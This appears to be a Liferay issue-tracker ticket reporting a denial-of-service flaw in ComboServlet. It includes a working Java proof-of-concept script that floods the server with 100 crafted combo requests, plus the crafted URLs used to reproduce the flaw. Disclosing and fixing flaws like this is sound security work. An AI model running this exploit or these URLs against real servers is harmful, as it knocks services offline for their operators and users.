Details

      Description

      It's possible to trick ComboServlet to call any portal page and then apply CSS minification which takes forever for big/complex pages.

      Sending 100 requests will kill the server:

      • java.lang.OutOfMemoryError: Java heap space
      • all server threads are busy
      import java.io.PrintWriter;
      import java.net.Socket;
      
      /**
       * @author Tomas Polesovsky
       */
      public class LPS63076 {
      	public static void main(String[] args) throws Exception {
      		for(int i = 0; i < 100; i++) {
      			callServer(i);
      			System.out.println(i);
      		}
      	}
      	public static void callServer(int i ) throws Exception {
      		Socket sock = null;
      		try {
      			sock = new Socket("localhost", 8080);
      			PrintWriter out = new PrintWriter(sock.getOutputStream(), true);
      			out.println("GET /combo/?90_INSTANCE_.js?:/api/jsonws%3Fdiscover%3Dtrue%26callback%3Daaa&minifierType=css HTTP/1.1");
      			out.println("Host: localhost");
      			out.println("Connection: keep-alive");
      			out.println();
      			out.println();
      			out.flush();
      			out.close();
      
      			// let's wait so that server registers our call
      			Thread.currentThread().sleep(50);
      
      			// don't wait for response and close socketChannel, server will continue
      		} finally {
      			if(sock!=null)sock.close();
      		}
      	}
      }
      

      Steps to reproduce:
      1, Go to http://localhost:8080/combo/?90_INSTANCE_.js?:/api/jsonws%3Fdiscover%3Dtrue%26callback%3Daaa&minifierType=css
      2, Go to http://localhost:8080/combo/?90_INSTANCE_.js?:/api/jsonws;.js%3Fdiscover%3Dtrue%26callback%3Daaa&minifierType=css

      Expected result: Response time is as usual (less than one second)
      Actual result: Response time is 2.4 min


      CVSS Base Score: 7.8
      CVSS Temporal Score: 7
      CVSS Vector: (AV:N/AC:L/Au:N/C:N/I:N/A:C/E:P/RL:U/RC:C)
      

        Attachments

          Activity

            People

            • Votes:
              0 Vote for this issue
              Watchers:
              2 Start watching this issue

              Dates

              • Created:
                Updated:
                Resolved:
                Days since last comment:
                3 years, 23 weeks, 4 days ago

                Packages

                Version Package
                7.0.0 CE RC1